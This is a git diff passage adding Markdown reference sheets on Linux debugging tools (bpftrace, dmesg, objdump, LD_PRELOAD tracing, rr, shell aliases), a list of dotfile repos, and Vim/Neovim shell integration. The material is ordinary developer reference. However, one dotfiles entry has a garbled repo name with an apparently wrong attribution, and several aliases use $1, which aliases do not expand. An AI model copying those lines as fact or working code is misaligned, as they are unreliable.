malloc latency +bpftrace -e 'uprobe:/lib/libc.so.6:malloc { @start[tid] = nsecs; } +uretprobe:/lib/libc.so.6:malloc { @ns = hist(nsecs - @start[tid]); delete(@start[tid]); }' + +# Signal delivery +bpftrace -e 'tracepoint:signal:signal_generate { printf("sig %d to pid %d (%s)\n", args->sig, args->pid, args->comm); }' + +# Page faults by process +bpftrace -e 'software:page-faults:1 { @[comm] = count(); }' + +# New process execution +bpftrace -e 'tracepoint:syscalls:sys_enter_execve { printf("%s -> %s\n", comm, str(args->filename)); }' + +# Count writes by size bucket +bpftrace -e 'tracepoint:syscalls:sys_enter_write { @[comm] = hist(args->count); }' + +# Track specific PID's syscalls +bpftrace -e 'tracepoint:raw_syscalls:sys_enter /pid == 12345/ { @[ksym(args->id)] = count(); }' + +# OOM killer invocations +bpftrace -e 'tracepoint:oom:oom_score_adj_update { printf("OOM adj: pid=%d (%s) score=%d\n", args->pid, str(args->comm), args->oom_score_adj); }' + +# Kernel function duration (example: tcp_sendmsg) +bpftrace -e 'kprobe:tcp_sendmsg { @start[tid] = nsecs; } +kretprobe:tcp_sendmsg { @us = hist((nsecs - @start[tid]) / 1000); delete(@start[tid]); }' +``` + +--- + +## 13. dmesg Tricks + +```bash +dmesg # Kernel ring buffer +dmesg -T # Human-readable timestamps +dmesg -T | tail -50 # Last 50 messages with timestamps +dmesg -w # Follow (like tail -f) +dmesg -Tw # Follow with timestamps +dmesg -l err # Only errors +dmesg -l warn # Only warnings +dmesg -l err,warn # Errors and warnings +dmesg -l crit,alert,emerg # Critical and above +dmesg -f kern # Kernel facility only +dmesg -f daemon # Daemon facility +dmesg --human # Colored, decoded output +dmesg -c # Print and clear (root) +dmesg | grep -i "oom" # OOM killer events +dmesg | grep -i "segfault" # Segfaults +dmesg | grep -i "killed" # OOM kill events +dmesg | grep -i "oom_kill" # OOM kill +dmesg | grep "Call Trace" # Kernel panics / bugs +dmesg | grep -i "usb" # USB events +dmesg | grep -i "error" # All errors +dmesg | grep -i "i/o error" # Disk errors +``` + +### OOM Killer Pattern + +``` +dmesg -T | grep -A 20 "Out of memory" +# Shows: +# Killed process 1234 (myapp), UID 1000, total-vm:102400kB, anon-rss:98304kB +# oom_score_adj: 0 +# Call trace of the oom kill path +``` + +### Segfault Pattern + +``` +dmesg | grep segfault +# Shows: myproc[1234]: segfault at 0 ip 00007f... sp 00007fff... error 6 in mylib.so[...] +# error codes: 4=user, 2=write, 1=protection fault (vs not-present) +``` + +--- + +## 14. objdump / readelf / nm + +### objdump + +```bash +objdump -d binary # Disassemble all code sections +objdump -d -M intel binary # Intel syntax (default is AT&T) +objdump -d -S binary # Interleave source (needs -g) +objdump -d -S --no-show-raw-insn binary # Without hex bytes +objdump -d --start-address=0x401234 --stop-address=0x401280 binary +objdump --disassemble=my_function binary # Disassemble specific function +objdump -x binary # All headers +objdump -h binary # Section headers (sizes, offsets) +objdump -s -j .rodata binary # Dump .rodata section contents +objdump -s -j .data binary # Dump .data section +objdump -p binary # Private headers (dynamic section, needed libs) +objdump -R binary # Dynamic relocations (PLT entries) +objdump -t binary # Symbol table +objdump -T binary # Dynamic symbol table +``` + +### readelf + +```bash +readelf -h binary # ELF header +readelf -S binary # Section headers +readelf -l binary # Program headers (segments) +readelf -s binary # Symbol table +readelf -d binary # Dynamic section (NEEDED libs, RPATH) +readelf -r binary # Relocations +readelf -n binary # Notes (build ID, ABI) +readelf -a binary # All of the above +readelf --debug-dump=info binary # DWARF debug info +readelf --debug-dump=frames binary # Frame info (CFI) +readelf -Wi binary # Wide output for DWARF +``` + +### nm + +```bash +nm binary # Symbol table +nm -D binary # Dynamic symbols only +nm -C binary # Demangle C++ names +nm -u binary # Undefined symbols only (external deps) +nm -g binary # External symbols only +nm --size-sort binary # Sort by size (largest last) +nm --size-sort -r binary # Largest first +nm -S binary # Show symbol sizes +nm -l binary # Show source file/line (needs -g) +nm -f posix binary # POSIX output format (name value type size) +``` + +### Dynamic Dependencies + +```bash +ldd binary # Shared library dependencies +ldd -v binary # Verbose (show all version requirements) +readelf -d binary | grep NEEDED # Same via readelf (no resolution) +objdump -p binary | grep NEEDED # Same via objdump +ldconfig -v 2>/dev/null | grep libname # Confirm library is in cache +``` + +--- + +## 15. LD_PRELOAD + +### Basic Usage + +```bash +LD_PRELOAD=/path/to/lib.so ./binary # Load lib.so before everything +LD_PRELOAD="lib1.so lib2.so" ./binary # Multiple libraries +``` + +### Common Uses + +```bash +# Trace malloc/free calls +LD_PRELOAD=/usr/lib/libmpatrol.so ./binary + +# Suppress fsync for speed (testing/dev only, data loss risk) +LD_PRELOAD=libeatmydata.so ./binary # Install: apt install libeatmydata / pacman -S libeatmydata + +# Fake system time +LD_PRELOAD=/usr/lib/faketime/libfaketime.so.1 FAKETIME="2025-01-01 00:00:00" ./binary +# Install: libfaketime + +# Catch segfaults with backtrace +LD_PRELOAD=/lib/libSegFault.so SEGFAULT_SIGNALS="all" ./binary + +# Interpose malloc (minimal example) +cat > mymalloc.c << 'EOF' +#define _GNU_SOURCE +#include <dlfcn.h> +#include <stdio.h> +void *malloc(size_t size) { + static void *(*real_malloc)(size_t) = NULL; + if (!real_malloc) real_malloc = dlsym(RTLD_NEXT, "malloc"); + void *ptr = real_malloc(size); + fprintf(stderr, "malloc(%zu) = %p\n", size, ptr); + return ptr; +} +EOF +gcc -shared -fPIC -o mymalloc.so mymalloc.c -ldl +LD_PRELOAD=./mymalloc.so ./binary +``` + +### Interpose connect (trace network) + +```c +// trace_connect.c +#define _GNU_SOURCE +#include <dlfcn.h> +#include <sys/socket.h> +#include <netinet/in.h> +#include <arpa/inet.h> +#include <stdio.h> + +int connect(int sockfd, const struct sockaddr *addr, socklen_t len) { + static int (*real_connect)() = NULL; + if (!real_connect) real_connect = dlsym(RTLD_NEXT, "connect"); + if (addr->sa_family == AF_INET) { + struct sockaddr_in *in = (struct sockaddr_in *)addr; + fprintf(stderr, "connect to %s:%d\n", + inet_ntoa(in->sin_addr), ntohs(in->sin_port)); + } + return real_connect(sockfd, addr, len); +} +``` + +```bash +gcc -shared -fPIC -o trace_connect.so trace_connect.c -ldl +LD_PRELOAD=./trace_connect.so ./binary +``` + +### Notes + +```bash +# LD_PRELOAD is ignored for setuid binaries +# To debug LD_PRELOAD loading: +LD_DEBUG=libs LD_PRELOAD=./mylib.so ./binary 2>&1 | grep mylib +``` + +--- + +## 16. rr Record and Replay + +### Basic Workflow + +```bash +# Record +rr record ./binary arg1 arg2 # Record execution +rr record -n ./binary # No signal for record noise +sudo sysctl kernel.perf_event_paranoid=1 # May be needed + +# Replay +rr replay # Replay most recent recording +rr replay -d gdb # Use specific GDB +rr replay /path/to/trace/dir # Replay specific trace + +# Inside GDB replay session: +(gdb) continue # Run forward +(gdb) reverse-continue # Run backward to prev event +(gdb) reverse-step # Step backward +(gdb) reverse-next # Step backward over calls +(gdb) reverse-finish # Return backward from function +(gdb) watch -l myvar # Watchpoint works both directions +(gdb) reverse-continue # Find where myvar was last written +``` + +### Chaos Mode (Race Conditions) + +```bash +rr record --chaos ./binary # Randomize scheduling to expose races +# Run multiple times until race reproduces, then it's deterministically replayable +for i in $(seq 1 100); do + rr record --chaos ./binary && break +done +rr replay # Now replay the exact failing run +``` + +### Find What Modified a Variable + +```bash +rr record ./binary +rr replay +(gdb) break my_function +(gdb) continue +(gdb) watch -l my_struct->field # Set watchpoint +(gdb) reverse-continue # Find last write to field +(gdb) bt # Who wrote it? +``` + +### Performance + +``` +rr has approximately 1.2x overhead vs native execution. +Much less than valgrind (~20x) or full instruction simulation. +Works on x86-64 Linux only. +Requires hardware performance counters (may need paranoid=1). +``` + +### Listing and Managing Traces + +```bash +rr ls # List recorded traces +rr pack # Pack trace for sharing +rr replay /path/to/trace # Replay specific trace +``` + +--- + +## 17. Quick Aliases + +Add to `~/.bashrc` or `~/.config/fish/config.fish`: + +### Bash / sh + +```bash +# GDB shortcuts +alias gdb-tui='gdb -tui' +alias gdb-attach='gdb -p' +alias gdb-core='gdb' # usage: gdb-core ./binary core + +# strace shortcuts +alias st='strace -f -T -yy' +alias st-file='strace -e trace=file -yy' +alias st-net='strace -e trace=network -yy' +alias st-mem='strace -e trace=memory' +alias st-stat='strace -c' +alias st-err='strace -f 2>&1 | grep "= -1"' +alias st-attach='strace -p' + +# ltrace shortcuts +alias lt='ltrace -C' +alias lt-stat='ltrace -c' + +# perf shortcuts +alias perf-rec='perf record -g --call-graph dwarf' +alias perf-top='perf top -g' +alias perf-stat='perf stat -r 3' +alias perf-cache='perf stat -e cache-misses,cache-references,L1-dcache-load-misses,LLC-load-misses' +alias perf-branch='perf stat -e branch-misses,branch-instructions' +alias perf-sched='perf stat -e context-switches,cpu-migrations' + +# Flamegraph +FGDIR=/opt/FlameGraph +alias flamegraph-cpu='perf record -F 99 -g --call-graph dwarf && perf script | $FGDIR/stackcollapse-perf.pl | $FGDIR/flamegraph.pl > cpu.svg && firefox cpu.svg' + +# Valgrind shortcuts +alias vg='valgrind --leak-check=full --track-origins=yes --num-callers=30' +alias vg-fast='valgrind --leak-check=summary' +alias vg-callgrind='valgrind --tool=callgrind' +alias vg-massif='valgrind --tool=massif' +alias vg-helgrind='valgrind --tool=helgrind' +alias vg-drd='valgrind --tool=drd' + +# Sanitizer build shortcuts (call as: san-asan gcc source.c -o binary) +alias san-asan='gcc -fsanitize=address -fno-omit-frame-pointer -g -O1' +alias san-ubsan='gcc -fsanitize=undefined -g -O1' +alias san-tsan='gcc -fsanitize=thread -g -O1' +alias san-clang-msan='clang -fsanitize=memory -fsanitize-memory-track-origins=2 -fno-omit-frame-pointer -g -O1' + +# Core dump shortcuts +alias coredump-list='coredumpctl list' +alias coredump-debug='coredumpctl debug' +alias coredump-info='coredumpctl info' + +# /proc shortcuts +alias proc-maps='cat /proc/$1/maps' +alias proc-fds='ls -la /proc/$1/fd' +alias proc-env='cat /proc/$1/environ | tr "\0" "\n"' +proc-info() { cat /proc/$1/status; } +proc-cmdline() { cat /proc/$1/cmdline | tr '\0' ' '; echo; } + +# lsof shortcuts +alias lsof-port='lsof -i' +alias lsof-pid='lsof -p' +alias lsof-deleted='lsof | grep deleted' +alias lsof-listen='lsof -i tcp -s tcp:LISTEN' + +# ss shortcuts +alias ss-listen='ss -tlnp' +alias ss-conn='ss -tnp state established' +alias ss-wait='ss -tn state time-wait | wc -l' +alias ss-close-wait='ss -tn state close-wait' +alias ss-stat='ss -s' +alias ss-detail='ss -ti' + +# nm shortcuts +alias nm-big='nm --size-sort -r -S' # Biggest symbols first +alias nm-undef='nm -u -C' # Undefined symbols, demangled +alias nm-dyn='nm -D -C' # Dynamic symbols, demangled + +# objdump shortcuts +alias dis='objdump -d -M intel -S' +alias dis-func='objdump --disassemble -M intel' # usage: dis-func myfunc binary + +# bpftrace shortcuts +alias bpf-syscalls='bpftrace -e "tracepoint:raw_syscalls:sys_enter { @[comm] = count(); }"' +alias bpf-opens='bpftrace -e "tracepoint:syscalls:sys_enter_openat { printf(\"%s %s\n\", comm, str(args->filename)); }"' +alias bpf-execs='bpftrace -e "tracepoint:syscalls:sys_enter_execve { printf(\"%s -> %s\n\", comm, str(args->filename)); }"' + +# rr shortcuts +alias rr-rec='rr record' +alias rr-chaos='rr record --chaos' +alias rr-rep='rr replay' +alias rr-list='rr ls' + +# dmesg shortcuts +alias dmesg-time='dmesg -T' +alias dmesg-follow='dmesg -Tw' +alias dmesg-err='dmesg -T -l err,warn' +alias dmesg-oom='dmesg -T | grep -i "out of memory\|oom\|killed process"' +alias dmesg-seg='dmesg -T | grep segfault' +``` + +### Fish Shell + +```fish +# GDB +abbr --add gdb-tui 'gdb -tui' + +# strace +abbr --add st 'strace -f -T -yy' +abbr --add st-file 'strace -e trace=file -yy' +abbr --add st-net 'strace -e trace=network -yy' +abbr --add st-stat 'strace -c' + +# lsof +abbr --add lsof-listen 'lsof -i tcp -s tcp:LISTEN' +abbr --add lsof-deleted 'lsof | grep deleted' + +# ss +abbr --add ss-listen 'ss -tlnp' +abbr --add ss-conn 'ss -tnp state established' + +# perf +abbr --add perf-rec 'perf record -g --call-graph dwarf' +abbr --add perf-cache 'perf stat -e cache-misses,cache-references,L1-dcache-load-misses' + +# valgrind +abbr --add vg 'valgrind --leak-check=full --track-origins=yes --num-callers=30' + +# dmesg +abbr --add dmesg-err 'dmesg -T -l err,warn' +abbr --add dmesg-oom 'dmesg -T | grep -i oom' + +# rr +abbr --add rr-chaos 'rr record --chaos' +abbr --add rr-rep 'rr replay' + +# coredumpctl +abbr --add cdl 'coredumpctl list' +abbr --add cdd 'coredumpctl debug' +``` + +--- + +## Quick Reference Card + +| Task | Command | +|---|---| +| Segfault with backtrace | `valgrind ./bin` or `ASAN_OPTIONS=abort_on_error=1 ./bin-asan` | +| Memory leak | `valgrind --leak-check=full ./bin` | +| Data race | `./bin-tsan` or `valgrind --tool=helgrind ./bin` | +| Use-after-free | `./bin-asan` | +| Integer overflow | `./bin-ubsan` | +| Uninitialized read | `./bin-msan` or `valgrind --track-origins=yes ./bin` | +| What files is this opening? | `strace -e trace=openat -yy ./bin 2>&1 \| grep -v ENOENT` | +| What network calls? | `strace -e trace=network -yy ./bin` | +| Syscall timing breakdown | `strace -c ./bin` | +| CPU hotspot | `perf record -g ./bin && perf report` | +| Cache misses | `perf stat -e cache-misses,cache-references ./bin` | +| CPU flamegraph | `perf record -F 99 -g ./bin && perf script \| stackcollapse-perf.pl \| flamegraph.pl > out.svg` | +| Who holds port 8080 | `ss -tlnp sport = :8080` or `lsof -i :8080` | +| Deleted file still open | `lsof \| grep deleted` | +| What writes to this var? | `rr record ./bin && rr replay` then `watch var` + `reverse-continue` | +| Deterministic race replay | `rr record --chaos ./bin && rr replay` | +| Kernel errors since boot | `dmesg -T -l err,warn` | +| OOM kills | `dmesg -T \| grep -i "killed process"` | +| Process memory layout | `cat /proc/$PID/maps` | +| All open FDs with paths | `ls -la /proc/$PID/fd` | +| Library dependencies | `ldd ./bin` or `readelf -d ./bin \| grep NEEDED` | +| Biggest symbols | `nm --size-sort -r -S ./bin \| head -20` | +| Count syscalls by process | `bpftrace -e 'tracepoint:raw_syscalls:sys_enter { @[comm] = count(); }'` | diff --git a/doc/dotfiles.md b/doc/dotfiles.md new file mode 100644 index 0000000000000000000000000000000000000000..e8fa010a62498bd94b93bc9419250df5783c911a --- /dev/null +++ b/doc/dotfiles.md @@ -0,0 +1,40 @@ +# Dotfile Repos to Study + +The best developers to steal from, ranked by signal density. + +## Tier 1 -- canonical, heavily studied + +- **mathiasbynens/dotfiles** -- macOS defaults, shell aliases, git config. The OG. +- **paulirish/dotfiles** -- Chrome DevTools engineer. Git aliases, bash functions, .inputrc. +- **jessfraz/dotfiles** -- Jess Frazelle (Docker, containers). Minimal, security-focused. +- **holman/dotfiles** -- Zach Holman (GitHub early). Topic-based organization. +- **thoughtbot/dotfiles** -- Agency defaults. tmux, vim, git, zsh. Production-tested. + +## Tier 2 -- specialized, deep + +- **wincent/dotfiles** -- Greg Hurrell (GitHub). Lua-based Neovim, tmux, hammerspoon. +- **LukeSmithxyz/voidrice** -- Luke Smith (LARBS). dwm, zsh, vim. Suckless philosophy. +- **DistroTube/dotfiles** -- Derek Taylor. XMonad, fish, emacs. Well-documented. +- **ChristianChiaworktree/dotfiles** -- Christian (ThePrimeagen). Neovim, tmux, custom. +- **mitchellh/dotfiles** -- Mitchell Hashimoto (HashiCorp founder). Nix, neovim, ghostty. + +## Tier 3 -- language/domain specific + +- **fatih/dotfiles** -- Fatih Arslan (Go). Go toolchain config. +- **nickjj/dotfiles** -- Nick Janetakis. Docker, tmux, vim, ansible. +- **lewagon/dotfiles** -- Le Wagon bootcamp. Clean starter for beginners. +- **driesvints/dotfiles** -- Dries Vints (Laravel). PHP/JS stack. + +## Tier 4 -- Plan 9 / systems + +- **plan9port** -- Russ Cox's Plan 9 from User Space. The reference. +- **9fans** -- 9fans mailing list archives. Shell idioms, rc patterns. +- **henesy/awesome-plan9** -- Curated Plan 9 resources. + +## What to steal + +1. Git aliases and config (rebase.autoSquash, rerere, merge.conflictstyle) +2. Shell functions (fzf integrations, extract, mkd, server) +3. Tmux config (prefix, pane nav, copy mode) +4. Editor config (LSP setup, keybindings, snippets) +5. Tool configs (.ripgreprc, .fdignore, bat themes) diff --git a/doc/editor-shell.md b/doc/editor-shell.md new file mode 100644 index 0000000000000000000000000000000000000000..8d0a9d1d6bcf08756ebff647546946fc863d0f1e --- /dev/null +++ b/doc/editor-shell.md @@ -0,0 +1,1055 @@ +# Editor-Shell Integration Reference + +Everything here assumes bash/zsh/fish-compatible shell and Neovim or Vim 8+. Commands that differ between the two are noted explicitly. + +--- + +## 1. Vim as a CLI Tool + +Vim is not just an interactive editor. It can run non-interactively as a scripting engine. + +### Read from stdin + +```bash +# Open stdin in vim +cat file.txt | vim - + +# Pipe, edit interactively, pipe out +cat file.txt | vim - -c 'v/ERROR/d' -c 'w! /dev/stdout' -c 'q!' > filtered.txt +``` + +### Run a command and quit (-c) + +```bash +# Open file, jump to pattern, quit +vim -c '/TODO' file.txt + +# Open file, run substitution, save, quit +vim -c '%s/foo/bar/g' -c 'wq' file.txt + +# Chain multiple -c flags +vim -c 'set ft=json' -c '%!python3 -m json.tool' -c 'wq' ugly.json +``` + +### Silent ex mode (-es / -E) + +`-es` is the batch scripting mode. No terminal interaction, no swap files, no output noise. Use it when you need vim's regex engine or ex commands in a script. + +```bash +# In-place substitution without sed +vim -es -c '%s/OldClass/NewClass/g' -c 'wq' src/main.py + +# Delete lines matching a pattern +vim -es -c 'g/^#.*debug/d' -c 'wq' config.ini + +# Run an ex script file +vim -es -S fix.vim file.txt + +# fix.vim contents: +# %s/localhost/prod.example.com/g +# wq +``` + +`-E` is improved ex mode (supports some features `-es` does not, like lookahead in patterns). + +```bash +vim -E -s file.txt <<'EOF' +%s/\v(\w+)_id/id_\1/g +wq +EOF +``` + +### Neovim headless + +```bash +# Run lua script headlessly +nvim --headless -c 'lua require("myscript").run()' -c 'qa!' + +# Run a vimscript command and exit +nvim --headless +'%s/foo/bar/g | wq' file.txt + +# Run with no config +nvim --headless --noplugin -u NONE -c 'wq' file.txt + +# Pipe output from headless nvim +nvim --headless -c 'echo "hello"' -c 'qa!' 2>&1 +``` + +--- + +## 2. Vim Filter Commands (:%!) + +`:%!cmd` replaces the entire buffer with the output of `cmd`, passing the current buffer as stdin. This turns any Unix tool into a vim transformation. + +```vim +" Format JSON +:%!python3 -m json.tool +:%!jq . + +" Format JSON with sorted keys +:%!jq --sort-keys . + +" Sort buffer +:%!sort + +" Sort and deduplicate +:%!sort -u + +" Align columns +:%!column -t +:%!column -t -s ',' " comma-separated + +" Format XML +:%!xmllint --format - + +" Strip ANSI escape codes +:%!sed 's/\x1b\[[0-9;]*m//g' + +" Count words (replaces buffer with wc output -- use :r ! instead for insert) +:%!wc -w + +" Alphabetize CSS properties +:%!sort -t: -k1 + +" Base64 encode +:%!base64 + +" Base64 decode +:%!base64 -d + +" Hex dump +:%!xxd + +" Revert hex dump +:%!xxd -r + +" Run buffer as shell script, replace with output +:%!bash + +" Wrap long lines at 72 chars +:%!fold -s -w 72 +:%!fmt -w 72 +``` + +--- + +## 3. :r !command (Insert Command Output) + +`:r !cmd` inserts the output of `cmd` below the cursor. The buffer is not replaced; the output is appended at the cursor position. + +```vim +" Insert current date +:r !date + +" Insert formatted date +:r !date '+%Y-%m-%d' + +" Insert ls output +:r !ls -la + +" Insert file contents +:r otherfile.txt + +" Insert command output at top of file +:0r !date + +" Insert git log +:r !git log --oneline -20 + +" Insert JSON from API +:r !curl -s https://api.example.com/data | jq . + +" Insert UUID +:r !uuidgen + +" Insert contents of clipboard (Linux) +:r !xclip -o -selection clipboard +:r !wl-paste " Wayland + +" Insert Python expression result +:r !python3 -c "print(2**32)" +``` + +--- + +## 4. :w !command (Pipe Buffer to External Command) + +`:w !cmd` sends the buffer (or a range) to `cmd` as stdin. The buffer is NOT modified. + +```vim +" Count words in buffer +:w !wc -w + +" Copy buffer to clipboard (X11) +:w !xclip -selection clipboard + +" Copy buffer to clipboard (Wayland) +:w !wl-copy + +" Copy buffer to clipboard (macOS) +:w !pbcopy + +" Send buffer to less for paging +:w !less + +" Pipe to a formatter but don't overwrite +:w !python3 -m json.tool + +" Email buffer +:w !mail -s "subject" you@example.com + +" Pipe to shell and execute +:w !bash + +" Count lines in current range +:1,10w !wc -l + +" Diff buffer against saved file +:w !diff % - +``` + +--- + +## 5. Visual Select + ! (Filter Selection Through Command) + +Select lines in visual mode, then `!cmd` filters only those lines through the command. The selection is replaced with the output. + +```bash +# In normal mode: select a range with V (linewise) then press ! +``` + +```vim +" Sort selected lines +V{motion}!sort + +" Sort selected lines numerically +V{motion}!sort -n + +" Sort and reverse +V{motion}!sort -r + +" Remove duplicates from selection +V{motion}!sort -u + +" Filter selection through awk +V{motion}!awk '{print $2, $1}' + +" Convert selection to uppercase +V{motion}!tr 'a-z' 'A-Z' + +" Evaluate math in selection (one expression per line) +V{motion}!bc + +" Align selection as table +V{motion}!column -t + +" Strip trailing whitespace from selection +V{motion}!sed 's/[[:space:]]*$//' + +" Number lines in selection +V{motion}!cat -n + +" Reverse selected lines +V{motion}!tac + +" Wrap selection at 80 chars +V{motion}!fmt -w 80 + +" Run selection as Python, replace with output +V{motion}!python3 +``` + +Normal-mode shortcut: `!!cmd` filters the current line through `cmd`. + +```vim +" Evaluate current line as math +!!bc + +" Format current line as JSON +!!python3 -m json.tool +``` + +--- + +## 6. Quickfix Integration + +### Configure grep program + +```vim +" Use ripgrep as grepprg +set grepprg=rg\ --vimgrep\ --smart-case +set grepformat=%f:%l:%c:%m + +" Or ag (silver searcher) +set grepprg=ag\ --vimgrep +``` + +In Neovim config (init.lua): + +```lua +vim.opt.grepprg = "rg --vimgrep --smart-case" +vim.opt.grepformat = "%f:%l:%c:%m" +``` + +### :grep usage + +```vim +" Search for pattern, populate quickfix +:grep 'TODO' **/*.py + +" Search word under cursor +:grep <cword> + +" Search and open quickfix immediately +:grep 'TODO' **/*.py | copen + +" Silent grep (suppress shell output) +:silent grep 'TODO' **/*.py | copen + +" Grep in specific files +:grep 'MyClass' src/**/*.ts +``` + +### Navigating quickfix + +```vim +:copen " open quickfix window +:cclose " close quickfix window +:cnext " next item +:cprev " previous item +:cfirst " first item +:clast " last item +:cc N " jump to item N +``` + +### Project-wide find and replace with :cdo / :cfdo + +`:cdo` runs a command on each quickfix entry (each matching line). +`:cfdo` runs a command on each file in the quickfix list. + +```vim +" Find all occurrences of 'OldName' +:grep 'OldName' **/*.py + +" Replace in every matched line +:cdo s/OldName/NewName/g | update + +" Replace in every matched file (more efficient) +:cfdo %s/OldName/NewName/g | update + +" Delete all lines containing pattern +:cdo d | update + +" After substitution, write all changed files +:cfdo update + +" Full workflow: rename function across project +:grep 'old_function' **/*.py | copen +:cfdo %s/old_function/new_function/g | update +``` + +### :make integration + +```vim +" Set makeprg to any build/lint command +set makeprg=python3\ -m\ mypy\ % + +" Run and populate quickfix +:make + +" Run with args +:make src/ + +" Common makeprg values +set makeprg=make +set makeprg=cargo\ build +set makeprg=go\ build\ ./... +set makeprg=pylint\ % +set makeprg=eslint\ --format\ compact\ % +``` + +--- + +## 7. vimdiff as Git Merge / Diff Tool + +### Setup in ~/.gitconfig + +```ini +[diff] + tool = vimdiff + +[merge] + tool = vimdiff + conflictstyle = diff3 + +[difftool] + prompt = false + +[mergetool "vimdiff"] + cmd = vim -d $LOCAL $REMOTE $MERGED -c '$wincmd w' -c 'wincmd J' +``` + +For Neovim: + +```ini +[diff] + tool = nvimdiff + +[merge] + tool = nvimdiff + +[difftool "nvimdiff"] + cmd = nvim -d $LOCAL $REMOTE $MERGED -c '$wincmd w' -c 'wincmd J' + +[mergetool "nvimdiff"] + cmd = nvim -d $LOCAL $REMOTE $MERGED -c '$wincmd w' -c 'wincmd J' +``` + +### Invoke from git + +```bash +# Diff working tree against HEAD +git difftool file.txt + +# Diff two commits +git difftool HEAD~2 HEAD -- file.txt + +# Resolve merge conflicts +git mergetool + +# Diff two branches +git difftool main..feature -- src/ +``` + +### vimdiff commands + +During a merge, vimdiff opens three or four panes. Standard layout: LOCAL (your changes) | BASE (common ancestor) | REMOTE (their changes), with MERGED at the bottom. + +```vim +]c " jump to next conflict/diff +[c " jump to previous conflict/diff + +do " diff obtain (pull from other pane into current) +dp " diff put (push from current into other pane) + +" In 3-way merge, specify which buffer to get from: +:diffget RE " get from REMOTE +:diffget BA " get from BASE +:diffget LO " get from LOCAL + +" Or use buffer numbers (check :ls) +:diffget 2 +:diffget 3 + +" After resolving, update diff highlights +:diffupdate + +" Turn off diff mode +:diffoff +:diffoff! " turn off in all windows + +" Toggle diff mode +:diffthis +``` + +Workflow: + +```bash +git mergetool # opens vimdiff for each conflict +# resolve each hunk with :diffget LO / RE / BA +# :wqa to close and mark resolved +git commit # finalize merge +``` + +--- + +## 8. Neovim Remote + +### Start Neovim with a named pipe server + +```bash +# Named pipe (recommended) +nvim --listen /tmp/nvim-server.sock + +# TCP socket +nvim --listen 127.0.0.1:6666 + +# Use NVIM_LISTEN_ADDRESS (legacy, still works) +NVIM_LISTEN_ADDRESS=/tmp/nvim.sock nvim +``` + +### nvr (neovim-remote) + +Install: `pip install neovim-remote` + +```bash +# Open file in existing nvim instance +nvr --servername /tmp/nvim-server.sock file.txt + +# Open in new tab +nvr --servername /tmp/nvim-server.sock --remote-tab file.txt + +# Open in split +nvr --servername /tmp/nvim-server.sock --remote-split file.txt + +# Send ex command to running nvim +nvr --servername /tmp/nvim-server.sock --remote-send ':wq<CR>' + +# Evaluate expression +nvr --servername /tmp/nvim-server.sock --remote-expr 'expand("%")' + +# Use NVIM_LISTEN_ADDRESS so you don't have to pass --servername +export NVIM_LISTEN_ADDRESS=/tmp/nvim-server.sock +nvr file.txt +``` + +### $EDITOR patterns with nvr + +Inside a running Neovim terminal, `$EDITOR` and `$VISUAL` can be set to open files in the parent Neovim instance rather than a nested one: + +```bash +# In shell config, detect if inside nvim terminal +if [ -n "$NVIM" ]; then + export EDITOR='nvr --remote-wait' + export VISUAL='nvr --remote-tab-wait' +else + export EDITOR='nvim' + export VISUAL='nvim' +fi +``` + +With `--remote-wait`, the shell blocks until you close the buffer in the parent Neovim (useful for `git commit`, `fc`, etc.). + +--- + +## 9. $EDITOR Integration + +The shell and many programs respect `$EDITOR` (and `$VISUAL` for full-screen editors). Set it once: + +```bash +export EDITOR='nvim' +export VISUAL='nvim' +``` + +### git commit + +```bash +git commit # opens $EDITOR with commit message template +git commit --amend # re-open last commit message +``` + +Vim tip: `:set textwidth=72` in your gitcommit filetype config to auto-wrap. + +```vim +" ~/.config/nvim/after/ftplugin/gitcommit.vim +setlocal textwidth=72 +setlocal spell +``` + +### fc (fix command) + +`fc` opens the last shell command in `$EDITOR` for editing. When you save and quit, the edited command runs. + +```bash +# Fix last command +fc + +# Fix a specific history entry +fc 42 + +# Fix the last command matching a pattern +fc grep +``` + +### Ctrl-x Ctrl-e (readline) + +In bash (and zsh with the right binding), pressing `Ctrl-x Ctrl-e` opens the current command line in `$EDITOR`. Edit it, save, quit, and it runs. + +```bash +# Enable in zsh if not already +autoload -U edit-command-line +zle -N edit-command-line +bindkey '^x^e' edit-command-line +``` + +This is invaluable for long pipelines. Start typing in the terminal, hit `Ctrl-x Ctrl-e`, add logic in vim, run. + +### crontab -e + +```bash +crontab -e # opens crontab in $EDITOR +``` + +### sudoedit / sudo -e + +`sudoedit` opens a file with your own `$EDITOR` (not root's), applies changes as root when you save. Safer than `sudo vim` because the editor process itself does not run as root. + +```bash +sudoedit /etc/nginx/nginx.conf +sudo -e /etc/hosts + +# sudoedit respects $EDITOR, $VISUAL, and $SUDO_EDITOR +export SUDO_EDITOR='nvim' +``` + +### Other programs + +```bash +git rebase -i HEAD~5 # interactive rebase in $EDITOR +git add -p # e to open hunk in $EDITOR +kubectl edit deploy # edit live k8s resource +EDITOR='vim' visudo # edit sudoers safely +vipw # edit /etc/passwd safely +vigr # edit /etc/group safely +``` + +--- + +## 10. moreutils Suite + +Install: `pacman -S moreutils` / `apt install moreutils` / `brew install moreutils` + +### sponge + +Reads all of stdin before writing to the output file. Solves the classic problem where `cmd file > file` truncates the file before `cmd` reads it. + +```bash +# WRONG: truncates file before sort reads it +sort file.txt > file.txt + +# CORRECT with sponge +sort file.txt | sponge file.txt + +# In-place JSON formatting +cat data.json | jq . | sponge data.json + +# In-place deduplication +sort -u file.txt | sponge file.txt + +# Combine with sed for in-place editing without -i portability issues +sed 's/old/new/g' file.txt | sponge file.txt +``` + +### vipe + +Inserts an interactive editor into a pipeline. Stdin is loaded into `$EDITOR`, you edit it, and when you save+quit the result continues downstream. + +```bash +# Review/edit data mid-pipeline +curl -s api.example.com/data | vipe | jq '.results[]' + +# Edit a commit message in a script +echo "initial message" | vipe | git commit -F - + +# Review and trim a list before processing +cat urls.txt | vipe | xargs wget + +# Edit JSON before posting +cat payload.json | vipe | curl -X POST -d @- api.example.com/endpoint +``` + +### vidir + +Edit a directory listing in your editor. Rename, delete, and reorder files by editing the text. Each line is a file. Delete a line to delete the file. Edit a name to rename. + +```bash +# Edit all files in current directory +vidir + +# Edit a specific directory +vidir /path/to/dir + +# Edit a filtered subset +ls *.jpg | vidir - + +# Rename files matching a pattern +find . -name '*.jpeg' | vidir - +# In editor: change .jpeg to .jpg on each line, save and quit +``` + +### ts (timestamp) + +Prepends timestamps to each line of stdin. + +```bash +# Timestamp every line +tail -f /var/log/app.log | ts + +# Custom format (strftime) +tail -f app.log | ts '%Y-%m-%d %H:%M:%S' + +# Relative timestamps (time since last line) +tail -f app.log | ts -s + +# Incremental timestamps (time since start) +tail -f 